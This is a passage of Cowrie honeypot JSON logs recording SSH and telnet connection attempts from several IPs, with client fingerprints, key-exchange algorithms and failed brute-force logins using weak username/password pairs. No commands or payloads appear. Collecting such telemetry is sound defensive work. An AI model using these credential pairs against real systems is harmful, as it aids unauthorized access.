-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:07.917159Z","src_ip":"115.241.83.2","session":"f383a48b3c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123123","message":"login attempt [root/Qq123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:08.866910Z","src_ip":"115.241.83.2","session":"f383a48b3c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:10.099925Z","src_ip":"115.241.83.2","session":"f383a48b3c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":34284,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9887a2a2e78","protocol":"ssh","message":"New connection: 152.244.206.148:34284 (10.17.0.5:22) [session: d9887a2a2e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:29.336384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:29.340766Z","src_ip":"152.244.206.148","session":"d9887a2a2e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:29.475941Z","src_ip":"152.244.206.148","session":"d9887a2a2e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwer1234","message":"login attempt [dev/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:30.049170Z","src_ip":"152.244.206.148","session":"d9887a2a2e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:15:31.191848Z","src_ip":"152.244.206.148","session":"d9887a2a2e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":55498,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3bd3cb0247e","protocol":"ssh","message":"New connection: 115.241.83.2:55498 (10.17.0.5:22) [session: b3bd3cb0247e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:16:09.282874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:16:09.287233Z","src_ip":"115.241.83.2","session":"b3bd3cb0247e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:16:09.525377Z","src_ip":"115.241.83.2","session":"b3bd3cb0247e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle123","message":"login attempt [root/oracle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:16:10.506100Z","src_ip":"115.241.83.2","session":"b3bd3cb0247e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:16:11.747164Z","src_ip":"115.241.83.2","session":"b3bd3cb0247e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":59372,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e20fb6a20a","protocol":"ssh","message":"New connection: 115.241.83.2:59372 (10.17.0.5:22) [session: 56e20fb6a20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:17:07.257889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:17:07.262067Z","src_ip":"115.241.83.2","session":"56e20fb6a20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:17:07.495029Z","src_ip":"115.241.83.2","session":"56e20fb6a20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"key","message":"login attempt [root/key] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:17:08.454623Z","src_ip":"115.241.83.2","session":"56e20fb6a20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:17:09.688439Z","src_ip":"115.241.83.2","session":"56e20fb6a20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.82.47.5","src_port":62910,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ec051a9b1c4","protocol":"telnet","message":"New connection: 74.82.47.5:62910 (159.203.135.109:23) [session: 0ec051a9b1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:01.433676Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:01.439329Z","src_ip":"74.82.47.5","session":"0ec051a9b1c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:125.0) Gecko/20100101 Firefox/125.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:125.0) Gecko/20100101 Firefox/125.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:01.443712Z","src_ip":"74.82.47.5","session":"0ec051a9b1c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:01.447956Z","src_ip":"74.82.47.5","session":"0ec051a9b1c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08831071853637695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:01.521851Z","src_ip":"74.82.47.5","session":"0ec051a9b1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":43668,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4d915f27d47","protocol":"ssh","message":"New connection: 115.241.83.2:43668 (10.17.0.5:22) [session: e4d915f27d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:08.494220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:08.497897Z","src_ip":"115.241.83.2","session":"e4d915f27d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:08.733996Z","src_ip":"115.241.83.2","session":"e4d915f27d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258qq","message":"login attempt [root/147258qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:09.710171Z","src_ip":"115.241.83.2","session":"e4d915f27d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:10.949478Z","src_ip":"115.241.83.2","session":"e4d915f27d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":43212,"dst_ip":"159.203.135.109","dst_port":22,"session":"9db15f0f010b","protocol":"ssh","message":"New connection: 118.193.33.42:43212 (159.203.135.109:22) [session: 9db15f0f010b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:20.918949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:20.923065Z","src_ip":"118.193.33.42","session":"9db15f0f010b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:21.169068Z","src_ip":"118.193.33.42","session":"9db15f0f010b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qa2ws3ed4rf","message":"login attempt [admin/1qa2ws3ed4rf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:22.090039Z","src_ip":"118.193.33.42","session":"9db15f0f010b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:18:23.800019Z","src_ip":"118.193.33.42","session":"9db15f0f010b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":60492,"dst_ip":"10.17.0.5","dst_port":22,"session":"0895d5db5c47","protocol":"ssh","message":"New connection: 115.241.83.2:60492 (10.17.0.5:22) [session: 0895d5db5c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:08.133774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:08.138706Z","src_ip":"115.241.83.2","session":"0895d5db5c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:08.370834Z","src_ip":"115.241.83.2","session":"0895d5db5c47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12#","message":"login attempt [root/admin12#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:09.325941Z","src_ip":"115.241.83.2","session":"0895d5db5c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:10.558784Z","src_ip":"115.241.83.2","session":"0895d5db5c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":60638,"dst_ip":"10.17.0.5","dst_port":22,"session":"14c2a2531f5c","protocol":"ssh","message":"New connection: 152.244.206.148:60638 (10.17.0.5:22) [session: 14c2a2531f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:12.277897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:12.284599Z","src_ip":"152.244.206.148","session":"14c2a2531f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:12.418334Z","src_ip":"152.244.206.148","session":"14c2a2531f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1231234","message":"login attempt [root/a1231234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:12.992820Z","src_ip":"152.244.206.148","session":"14c2a2531f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:14.130617Z","src_ip":"152.244.206.148","session":"14c2a2531f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.42","src_port":61062,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8935e150592","protocol":"ssh","message":"New connection: 118.193.33.42:61062 (159.203.135.109:22) [session: b8935e150592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:45.802476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:19:45.808766Z","src_ip":"118.193.33.42","session":"b8935e150592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","a